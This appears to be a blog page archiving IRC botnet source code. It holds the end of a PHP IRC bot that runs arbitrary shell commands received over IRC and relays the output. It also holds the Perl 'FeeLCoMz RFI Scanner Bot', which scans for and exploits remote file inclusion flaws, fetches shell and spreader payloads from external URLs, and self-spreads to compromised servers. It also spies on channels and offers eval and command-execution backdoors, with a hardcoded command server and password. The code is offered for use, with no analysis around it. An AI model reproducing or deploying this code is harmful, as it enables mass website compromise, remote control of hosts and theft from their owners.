                                $msg=ltrim($msg);
                                fputs($fp,'PING 78456841614'. CRLF);
                                $exec = system("$msg > /tmp/cmdxtemp >&1");
                                $exec = system("wc -l /tmp/cmdxtemp");
                                $len = str_replace("     ","",$exec);
                                $len = str_replace(" /tmp/cmdxtemp","",$len);
                                $len = str_replace("    ","",$len);
                                $len = str_replace("   ","",$len);
                                $len = str_replace("  ","",$len);
                                $len = str_replace(" ","",$len);
                               
                                if ($len == 1){
                                    $ggr = system("cat /tmp/cmdxtemp");
                                    fputs($fp,'PRIVMSG '.$Params[2].' :'.$ggr. CRLF);
                                }
                                for($i=0;$i < $len;$i++)   {
                                    $perintah = system('cat /tmp/cmdxtemp | head -'.$i.' | tail -1');
                                    fputs($fp,'PRIVMSG '.$Params[2].' :'.$perintah. CRLF);
                                    sleep(2);
                                }
                                system("rm /tmp/cmdxtemp");
                            }



                        }
                       
                        ######### End Params Command Master ############

                        ########## Params Command Public ##############
                        elseif (substr($Params[3],0,2)==':!'){
                            if (strtolower($Params[3])==':!ping' && ereg('#',$Params[2]) && $sysping=="on") {
                                $sendping=time();
                                $ping["$sendping"]["ping"] = time();
                                $ping["$sendping"]["chan"] = $Params[2];
                                $idaway=0;
                                if($isaway){fputs($fp,'AWAY'. CRLF);$isaway=false;}
                                fputs($fp,'PRIVMSG '.$fsrc[nick].' :PING '.$ping["$sendping"]["ping"].'' . CRLF);
                            }
                            elseif (strtolower($Params[3])==':!versi' && ereg('#',$Params[2]) && $sysversi=="on") {
                                fputs($fp,'PRIVMSG '.$Params[4].' :VERSION'. CRLF);
                                $datversi[strtolower($Params[4])]["nick"]=strtolower($Params[4]);
                                $datversi[strtolower($Params[4])]["chan"]=$Params[2];
                            }
                            elseif (strtolower($Params[3])==':!potong' && ereg('#',$Params[2])) {
                                $pilihanwar=strtolower($Params[4]);
                                $warnabenar=strtolower($warnabenar);
                                if(strtolower($Params[2])==strtolower($chanboom)){
                                    if(strtolower($fsrc[nkecil])==strtolower($targetboom)){
                                        if($pilihanwar==strtolower($bw[0]) || $pilihanwar==strtolower($bw[1]) || $pilihanwar=="biru" ){
                                            if($warnabenar==$pilihanwar){
                                                fputs($fp,'PRIVMSG '.$chanboom.' :Selamat '.$fsrc[nick].', kamu berhasil menjinakan Bom!!'. CRLF);
                                                fputs($fp, 'MODE '.$chanboom.' +vvv '.$fsrc[nick]. CRLF);
                                            }
                                            else{
                                                fputs($fp, 'PRIVMSG CHANSERV :KICK '.$chanboom.' '. $fsrc[nick].' 0,4BOOOOOOMMMM!!!!!'  . CRLF);
                                                fputs($fp, 'KICK '.$chanboom.' '. $fsrc[nick].' :0,4BOOOOOOMMMM!!!!!'  . CRLF);
                                            }
                                            $goboom=0;
                                            $onboom="off";
                                            $targetboom="";
                                        }
                                    }
                                }
                            }
                            elseif (strtolower($Params[3])==':!bom' && ereg('#',$Params[2]) && $sysboom="on") {
                                if(strtolower($Params[2])==strtolower($chanboom) && $onboom=="off" && strtolower($Params[3])!=strtolower($bot['nick'])){
                                    if(strpos(strtolower($user_chan_arr[strtolower($Params[2])]["nick"]),' '.strtolower($Params[4]).' ')){
                                        $onboom="on";
                                        $goboom=0;
                                        $targetboom=$Params[4];
                                        $tmpwbom=$warnaboom;
                                        $wrnb=explode(";",$tmpwbom);
                                        $bw[0]=$wrnb[rand(0,count($wrnb) - 1)];
                                        unset($wrnb);
                                        $tmpwbom=str_replace($bw[0],"",$tmpwbom);
                                        $tmpwbom=str_replace(";;",";",$tmpwbom);
                                        $wrnb=explode(";",$tmpwbom);
                                        $bw[1]=$wrnb[rand(0,count($wrnb) - 1)];
                                        unset($wrnb);
                                        $tmboom=time();
                                       
                                        $warnabenar=$bw[rand(0,count($bw) - 1)];
                                       
                                        fputs($fp,'PRIVMSG '.$Params[2]." :ACTION memasukan 4[0,4  T N T  4]1-----4`,'. ke dalam baju ".$Params[4].''. CRLF);
                                        fputs($fp,'PRIVMSG '.$Params[2].' :'.$Params[4].'!! km punya waktu ['.$timeboom.'] detik. Jinakkan Bom dengan memotong kabel yg benar. Dan hanya ada tiga kabel. '.$bw[0] .', '.$bw[1].' dan Biru'. CRLF);
                                        fputs($fp, 'MODE '.$chanboom.' -vvv '.$Params[4]. CRLF);
                                    }
                                }
                            }
                            elseif (strtolower($Params[3])==":!spoof" && ereg('#',$Params[2]) && $sysspoof=="on") {
                                $spoofnya=strtolower($Params[4]);
                              if ($Params[5]<=$jmlspoof["$spoofnya"] && $Params[5]>0){
                                 fputs($fp,'PRIVMSG '.$Params[2].' :15(04Spoof15) Ident: 4' . $isisp["$Params[5]"]["$spoofnya"]["ident"] .' Spoof: 4' . $isisp["$Params[5]"]["$spoofnya"]["spoof"] .' Passw: 4' . $isisp["$Params[5]"]["$spoofnya"]["pass"].''. CRLF);
                              }
                              else {
                                fputs($fp,'PRIVMSG '.$Params[2].' :15(04Spoof15) Request Error'. CRLF);
                              }
                            }
                            elseif (strtolower($Params[3])==':!update' && ereg('#',$Params[2]) && $sysspoof=="on") {
                                fputs($fp,'PING 3424234328'. CRLF);
                                $spoof=strtolower($Params[4]);
                                $spallnet = "http://www.allnetwork.or.id/Pendaftaran/Personal_spoof/?mode=view&server=$spoof";
                                //$spallnet="http://localhost/spoof1.html";
                                $handisp = fopen ($spallnet, "rb");
                                $kontensp = "";
                                do {
                                    $barissp = fread($handisp, 512);
                                    if (strlen($barissp) == 0) { break; }
                                        $kontensp .= $barissp;
                                } while(true);
                                fclose ($handisp);
                                $kontensp=strtolower($kontensp);
                                $kontensp = str_replace("  "," ",$kontensp);
                                $kontensp = str_replace("\n","",$kontensp);
                                $kontensp = str_replace(chr(9),"",$kontensp);
                                $kontensp = str_replace("\r","",$kontensp);
                                $kontensp = str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$kontensp);
                                for ($i = 1; $i <= 10; $i++) {
                                $kontensp = str_replace("  "," ",$kontensp);
                                }
                                $kontensp = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$kontensp);
                                $tmpjml1=stristr($kontensp,"<tr bgcolor=yellow><td colspan=10 align=right>found ");
                                $tmpjml2=stristr($kontensp," data</td></tr>");
                               
                                $tmpjml=str_replace($tmpjml2,"",$tmpjml1);
                                $tmpjml=str_replace("<tr bgcolor=yellow><td colspan=10 align=right>found ","",$tmpjml);
                                $kontensp = str_replace("</td> <td>","</td><td>",$kontensp);
                                $kontensp = str_replace("<tr bgcolor=white> <td align=right>","<tr bgcolor=white><td align=right>",$kontensp);
                                $kontensp = str_replace("</tr> <tr","</tr><tr",$kontensp);
                                $kontensp =  str_replace(" </td>","</td>",$kontensp);
                                $kontensp =str_replace("> <td","><td",$kontensp);
                                for ($i = 1; $i <= $tmpjml; $i++) {
                                    if ($i==$tmpjml){
                                    $identsp="";$spoofsp="";$passsp="";
                                    $tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
                                    $tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=#1b6cf7>"));
                                    $tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
                                    $identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
                                    $tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
                                    $spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
                                    $tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
                                    $passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));
                                    $isisp[$i]["$spoof"]['ident']=$identsp;
                                    $isisp[$i]["$spoof"]['spoof']=$spoofsp;
                                    $isisp[$i]["$spoof"]['pass']=$passsp;
                                    }
                                    else{
                                    $identsp="";$spoofsp="";$passsp="";
                                    $tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
                                    $tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=white>"));
                                    $tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
                                    $identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
                                    $tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
                                    $spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
                                    $tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
                                    $passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));
                               
                                    $isisp[$i]["$spoof"]['ident']=$identsp;
                                    $isisp[$i]["$spoof"]['spoof']=$spoofsp;
                                    $isisp[$i]["$spoof"]['pass']=$passsp;
                                    }
                                }
                                    $jmlspoof["$spoof"]=$tmpjml;
                                    fputs($fp,'PRIVMSG '.$Params[2].' :15(04Spoof15) Update Complete! FOUND :'.$tmpjml. ' Spoof'. CRLF);
                            }
                            elseif (ereg(':!astro',strtolower($Params[3])) && ereg('#',$Params[2]) && $sysastro=="on") {
                            fputs($fp,'PING 3424234328'. CRLF);
                                $astro = strtolower($Params[4]);
                                if (in_array($astro, $zodiak)) {
                                    $pages = "http://www.astaga.com/astrologi/?cat=$astro";
                                    $handi = fopen ($pages, "rb");
                                    $konten = "";
                                    do {
                                           $baris = fread($handi, 512);
                                       if (strlen($baris) == 0) { break; }
                                           $konten .= $baris;
                                   } while(true);
                                    fclose ($handi);
                                $zod1 = stristr($konten,'<td id=ast><p>');
                                $zod2 = stristr($zod1,'</table>');
                                $bintang = str_replace($zod2,"",$zod1);
                                $bintang = str_replace("\n","",$bintang);
                                $bintang = str_replace("<td id=ast><p>","".ucfirst(strtolower($astro))." ",$bintang);
                                $bintang = str_replace("</p>"," ",$bintang);
                                $bintang = str_replace("<p><b>","",$bintang);
                                $bintang = str_replace("</b>","",$bintang);
                                $bintang = str_replace("</td>","",$bintang);
                                $bintang = str_replace("<b>","",$bintang);
                                $bintang = str_replace("</td>","",$bintang);
                                $bintang = str_replace("</tr>","",$bintang);
                                $bintang = str_replace("<tr>","",$bintang);
                                $zod3 = stristr($bintang,'<td colspan=2 id=ast bgcolor="#e0e0e0">');
                                $bintang = str_replace($zod3,"",$bintang);
                                fputs($fp,'PRIVMSG '.$Params[2].' :15(04Astro15) '.$bintang . ' (Astaga.com)'. CRLF);
                                }
                            }
                            elseif (strtolower($Params[3])==":!sms" && $Params[5] && ereg('#',$Params[2]) && $syssms=="on") {
                                fputs($fp,'PING 3424234328'. CRLF);
                                $msgsms=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg);
                                                                $fpsms = fsockopen($smsx['host'], $smsx['port'], $errno, $errstr);
                                                                if($udahno!=$Params[4]){
                                    if (!$fpsms) {
                                    fputs($fp,'PRIVMSG ' . $Params[2] . ' :SMS dari [12' . $fsrc[nick] . '] 4Gagal Dikirim...' . CRLF);
                                    }
                                    else {
                                    fputs($fp,'PRIVMSG ' . $Params[2] . ' :7Harap Tunggu!! Sedang Mengirim Sms [12' . $fsrc[nick] . ']...' . CRLF);

                                                                        $lencharmsg = 120 - strlen($msgsms);
                                                                        $msgx['send']="recipient=" . $Params[4] . "&message=" . $msgsms . "&remainchars=" . $lencharmsg . "&Submit=Kirim";
                                                                        $msgx['len']=strlen($msgx['send']);
                                                                       
                                                                        $client['user-agent']="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4)\r\n";
                                                                        $client['accept-language']="Accept-Language: en-us,en;q=0.5\r\n";
                                                                        $client['accept-encoding']="Accept -Encoding: gzip , deflate\r\n";
                                                                        $client['accept-charset']="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
                                                                        $client['referer']=$smsx['path'] . "\r\n";
                                                                        $client['content-type']="Content-Type: application/x-www-form-urlencoded\r\n";
                                                                        $client['content-lenght']="Content-Length: " . $msgx['len'] . "\r\n\r\n";
                                    $out ='POST ' . $smsx['path'] . " HTTP/1.1\r\n";
                                    $out .="HOST: " . $smsx['host'] . "\r\n";
                                    $out .=$client['user-agent'];
                                    $out .=$client['accept-language'];
                                    $out .=$client['accept-encoding'];
                                    $out .=$client['accept-charset'];
                                    $out .=$client['referer'];
                                    $out .=$client['content-type'];
                                    $out .=$client['content-lenght'];
                                    $out .=$msgx['send'] . "\r\n\r\n";
                                    echo $out;
                                    fwrite($fpsms, $out);
                                    while (!feof($fpsms)) {
                                        $shoutcastpage .= fgets($fpsms, 8192);
                                    }
                                    fclose($fpsms);
                                    fputs($fp,'PRIVMSG ' . $Params[2] . ' :SMS dari [12' . $fsrc[nick] . '] 3Sukses Terkirim...' . CRLF);
                                    $udahno=$Params[4];

                                    }
                                                                }
                                                                else{
                                                                    fputs($fp,'PRIVMSG ' . $Params[2] . ' :Sms [12' . $fsrc[nick] . '] 4gagal di kirim. No.Hp tdk bleh berturut2 sama' . CRLF);
                                                            }




                            }
                        }
                        ########## End Command Public ###############

                    }

                    ################ END RAW ################
                }
                elseif ( substr($DataLine,0,4) == 'PING' ) {
                        fputs($fp,'PONG ' . substr($DataLine,5) . CRLF);
                      }
                $response ="";
            }
        }
    fclose ($fp);
    unset ($fp);
    unset ($Header);
}

} while ($keluar==0);
############### END ##################################################
?>

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
irc서버올리기  (0) 2010.03.04
FeeLCoMz RFI Bot  (0) 2010.02.23
Posted by applicationlayer
:

irc서버올리기

webhxxx/RFI bot 2010. 3. 4. 15:13 |

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
FeeLCoMz RFI Bot  (0) 2010.02.23
Posted by applicationlayer
:

FeeLCoMz RFI Bot

webhxxx/RFI bot 2010. 2. 23. 22:11 |
#!/usr/bin/perl

print('
###############################################
## FeeLCoMz RFI Scanner Bot v5.0             ##
## By ricky                         ##
## ? Agu 2008 - Feb 2009, FeeLCoMz Community ##
## http://feelcomz.co.cc                     ##
###############################################
');
######################################################
## Usage:                                           ##
##   perl feelscanz.pl <chan w/o #> <server> <port> ##
## Notes:                                           ##
## + All Parameters are optional                    ##
##                                                  ##
## Features:                                        ##
## + RFI Scanner                                    ##
## + RFI Scan & Exploit (Exploit per engine)        ##
## + Joomla RFI Scan & Exploit                      ##
## + Milw0rm Search                                 ##
## + Google bypass (Using PHP)                      ##
## + Message Spy & Save                             ##
## + Auto Spreading                                 ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thanks to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thanks to BLood_roSE)
## + Added spread configuration (v5.0)

my $processo = '/usr/sbin/httpd';

use strict;

use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;

my $versi   = "v5.0";
my $cmdpre  = "!"; #Command Prefix

##[ KONFIGURASI URL ]##
my $fx29id  = "http://www.seorakhoney.com/shop/mail/id1.txt??"; #Fx29ID (Simple) / (Advanced)
my $fx29id2 = "http://www.seorakhoney.com/shop/mail/id2.txt???"; #Fx29ID (Advanced)
my $fx29sh  = " http://cafe5.fileave.com/c100.txt???  "; #Fx29Sh (Optional)
my $bypass  = "http://cafe5.fileave.com/spread.txt???"; #Google Bypasserz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite  = "http://www.therockcc.org/calendarevents/"; #Path to Sources URL (Optional)
my $spread  = $mysite."vie.txt?"; #Fx29Spreadz (Optional)
my $joomlaz = $mysite."bugz/joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("212.110.128.68"); #IRC Servers (Separated by coma)
my %bot     = (
  nick    => "[SStepheN][".int(rand(100))."]",
  ident   => "[StepheN]l".int(rand(100)),
  chan    => ["#StepheN"], #Channels to join (Separated by coma)
  server  => $servers[rand(scalar(@servers))],
  port    => "6667"
);

##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
  StepheN => {
    pass   => 'london12',
    status => "admin",
    cryptz => 0,
    login  => 0
  },
  StepheN => {
    pass   => 'london12',
    status => "admin",
    cryptz => 0,
    login  => 0
  },
);

##[ KONFIGURASI SPY ]##
my %spy = (
  host   => "", #Channels to show spied text
  chanz  => [""], #Channels to spy (Separated by coma)
  wordz  => ['http://.+?[=]'], #Text to spy (Regex, Separated by coma)
  foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
  showsite => 1, #Show link to debug channel (Yes/No)
  linez    => 3, #Lines per message
  sleepz   => 3, #Message delay per linez (seconds)
  rfipid   => 50, #Sites per proccess
  rficnt   => 100, #Counter setting
  rficnt2  => 200, #Counter setting
  timeout  => 4, #Http socket time out
);

##[ KONFIGURASI SPREAD ]##
## Options: 0 = Disable, 1 = Enable
my %spreadconf = (
  shellz   => 0, #Upload PHP Shell (Yes/No)
  botz     => 1, #Run PHP Bot (Yes/No)
  scannerz => 1, #Run RFI Scanner (Yes/No)
  psybnc   => 0, #Run psyBNC (Yes/No)
);

##[ KONFIGURASI WARNA ]##
my %colz = (
  1 => "[] " , 2 => " [!]", #Header
  3 => "[revoCrEw] " , 4 => " [revoCrEw]", #Proses
);

##[ PARAMETER BARIS PERINTAH ]##
$bot{chan}   = "#".$ARGV[0] if $ARGV[0];
$bot{server} = $ARGV[1] if $ARGV[1];
$bot{port}   = $ARGV[2] if $ARGV[2];

##[ INISIALISASI VARIABEL ]##
my $chanx    = "#revo"; #2nd Channel to show the results of vurnerable site
my $dbgchan  = "#kantap"; #For debugging purposes (Optional)
my @chans    = ($bot{chan});
my @badbugz  = ("scan","bug"); #Bad bugs to cancel scanning
my @baddorkz = ("dork"); #Bad dorks to cancel scanning
my @badlinkz = ("access*log","accesslog","awstats","error.log","wwwstats","google.com"); #Bad links to exclude
my $keluar   = 0;
my $sock;

##[ KONFIGURASI LOCALTESTING ]##
my $tez = $ARGV[3];
if ($tez == 1) {
  my $situs = "http://localhost/fx29sh/";
  $fx29id   = $situs."fx29id1.txt?";
  $fx29id2  = $situs."fx29id2.txt?";
  $fx29sh   = $situs."fx29sh.txt?";
}

##[ PROGRAM UTAMA ]##
if (fork() == 0) {
  while ($keluar != 1) { irc_connect(); }
  die("KeLuaR!");
}

##[ SUBRUTIN KONEKSI IRC ]##
sub irc_connect {
  $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
                                PeerPort => $bot{port},
                                Proto    => 'tcp')
                            or die "Error: Ga bisa connect ke ".$bot{server}.":".$bot{port}."!\r\n";
  $sock->autoflush(1);

  irc_nick($bot{nick});
  irc_user($bot{ident});

  my ($baris,$hb);
  my $loginboss = 0;
  my $userstat  = "";

  while ( $baris = <$sock> ) {
    $hb++;

    ##[ PARSING ]##
    my $com;
    my $me = $bot{nick};
    my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
    my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
    my ($dnick,$dhost) = split(/!/,$duhost);
    $dcom    = "" unless ($dcom);
    $dtarget = "" unless ($dtarget);
    $dnick =~ s/://;
    $dteks = trimrn($dteks);
    if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }

    print $baris."\n$dnick | $dcom | $dtarget : $dteks\n";

    ##[ CEK USER ]##
    if   ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
    else { ($loginboss,$userstat) = (0,""); }

    ##[ RESPON KE SERVER ]##
    if    ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
    if    ($dcom =~ /001/) { irc_join($chanx); irc_join($dbgchan); foreach my $c (@chans) { irc_join($c); } }
    elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!");  } }

    ##[ PERINTAH PUBLIK ]##
    if    (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
    if    ($com =~ /^help$/) { bot_help($dtarget,1); }
    elsif ($com =~ /^info$/) { bot_info($dtarget); }
    elsif ($com =~ /^url(en|de)\s+(.*)/) {
      my $url = $2; my $en;
      if    ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
      elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
      msgi($dtarget,"URL $en", $url);
    }
    elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
    elsif ($com =~ /^respon/) { cek_respon($dtarget); }
    elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
    elsif ($com =~ /^auth$|auth\s+(.*)/ && $boss{$dnick}) {
      my $pass = $1; my $auth = $boss{$dnick}{"login"};
      if ( $pass && $auth == 0 ) {
        if ($boss{$dnick}{"cryptz"} == 1) { $pass = cryptz($pass); }
        if ($pass eq $boss{$dnick}{"pass"}) {
          $boss{$dnick}{"login"} = 1;
          irc_ntc($dnick,"siap ".$boss{$dnick}{"status"}."!");
        }
        else { irc_ntc($dnick,"Error!"); }
      }
      else {
        if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
        else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
    }
    if (($dtarget) && ($dtarget ne $dnick)) {
      if    (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit;  }
      elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
    }
    ##[ END OF PUBLIC ]##

    ##[ PERINTAH USER ]##
    if ($loginboss == 1) {
      if    ($com =~ /^help/) { bot_help($dtarget,2); }
      elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
      elsif ($com =~ /^part\s+(.*)/) {
        my $pchan = $1; irc_part($1);
        for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
      }
      elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
      elsif ($com =~ /^hitung\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); }
      elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); }
      elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
      elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
      elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; }
      elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
      elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
        my ($t,$nf,$q) = ($1,$2,$3);
        my $h;
        if ($t == 1) { $h = bukasitus($q); }
        elsif ($t == 2) { $h = bukasitus2($q); }
        else { $h = bukasitus3($q); }
        f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
      }
      elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
        my $n = $1;
        my $q = bukasitus($2);
        my $regex = $3;
        if ($n ==1) {
          if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
          while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
        }
        else {
          while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$2); sleep(1); }
        }
      }
    }
    ##[ END OF USER ]##

    ##[ PERINTAH ADMIN ]##
    if (($loginboss == 1) && ($userstat eq "admin")) {
      if    ($com =~ /^help/) { bot_help($dtarget,3); }
      elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans);  }
      ##[ PERINTAH SPY ]##
      elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
      elsif ($com =~ /^spy(found|show|clear)$/ ) {
        my $n = $1;
        if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); }
        elsif ($n eq "show") {
          my $i = 0;
          for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); }
          $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
        }
        elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); }
        else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
      }
      elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
      elsif ($com =~ /^spychan\s+(.*)/ ) {
        unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
        else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
      }
      elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
      ##[ END OF PERINTAH SPY ]##
      elsif ($com =~ /^quit/) { irc_quit("THA THA!"); $keluar = 1; exit; }
      elsif ($com =~ /^mampus/) { irc_quit("gue dibantai!"); $keluar = 1; system("killall perl"); exit; }
      elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
      elsif ($com =~ /^rfipid\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); }
      elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); }
      elsif ($com =~ /^crespon(1|2)\s+(.*)/) {
        my ($n,$url) = ($1,$2);
        if    ($n == 1) { $fx29id = $url; }
        elsif ($n == 2) { $fx29id2 = $url; }
        msgi($dtarget,"Respon $n RFI",$url);
      }
      elsif ($com =~ /^cspread\s+(.*)/) {
        my $url = $1;
        $spread = $url;
        msgi($dtarget,"Spread RFI",$spread);
      }
      elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
        $boss{$1}{pass}   = "fx";
        $boss{$1}{status} = $2;
        $boss{$1}{login}  = 0;
        $boss{$1}{cryptz} = 0;
        ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
        msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
      }
      elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
      elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
        my $cmd = $1;
        if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; }
        my @output = `$cmd`;
        my $i = 0;
        foreach my $out (@output) {
          $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
          irc_msg($dtarget,"$out");
        }
        exit;
      }
    }
    ## END OF ADMIN ##

    ##[ MATA-MATA ]##
    if ($dtarget ne $spy{"host"}) {
      my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
      if ($is_spychan == 1) {
         for my $t (@{$spy{"wordz"}}) {
           if ($dteks =~ /$t/) {
             msgi($spy{"host"},"!",$dteks); sleep(1);
             push @{ $spy{"foundz"} }, $dteks;
           }
         }
       }
    }
    ##[ END OF MATA-MATA ]##
  }
  ## END WHILE ##
}
## END KONEK ##

#########################
##[ RUTIN EKSPLOITASI ]##
#########################
sub s_scanz {
  my ($to,$bug,$dork,$sb,$type) = @_;
  $sb = "Fx".$sb.".txt";
  $dork = bersihdork($to,$dork);
  my %typez = (
    1 => "eMpIx ScaNneR",
    2 => "eMpIx ScaN & ExpLoiT",
    3 => "JooMLa MaSs ScaN & ExpLoiT"
  );
  my $badbug  = cek_bug($bug);
  if ($badbug == 1) { msge($to,"BuG","bawuke lower cok!!!!"); return; }
  my $baddork = cek_dork($dork);
  if ($baddork == 1) { msge($to,"DoRk","bawuke lower cok!!!!"); return; }
  if ($type == 3) {
    my $h = bugjoomla("hitung");
    if ($h == 0) { msge($to,"Joomla","bawuke bosok! encukan dibatalkan"); return; }
  }
  irc_msg($to,$colz{1}."BUGS DI CEKKKKK...".$colz{2});
  my $stat = cek_respon($to);
  if ($stat != 2) { irc_msg($to,$colz{1}."JELEK BOSS, GAK ISO RESPON!!!!".$colz{2}); return; }
  irc_msg($to,$colz{1}."".$typez{$type}." MANTAP!0,1 ".$conf{rfipid}."/PID ID:0,1 $sb".$colz{2});
  irc_msg($to,$colz{1}."BuGz:0,1 $bug ") if ($type != 3);
  irc_msg($to,$colz{1}."DoRkz:0,1 $dork ");
  s_cari($to,$dork,$sb,$bug,$type);
  s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
  irc_msg($to,$colz{1}."".$typez{$type}." MONCROOTTT!0,1 $dork ID:0,1 $sb".$colz{2});
  return;
}

sub s_eksploit {
  #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
  #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
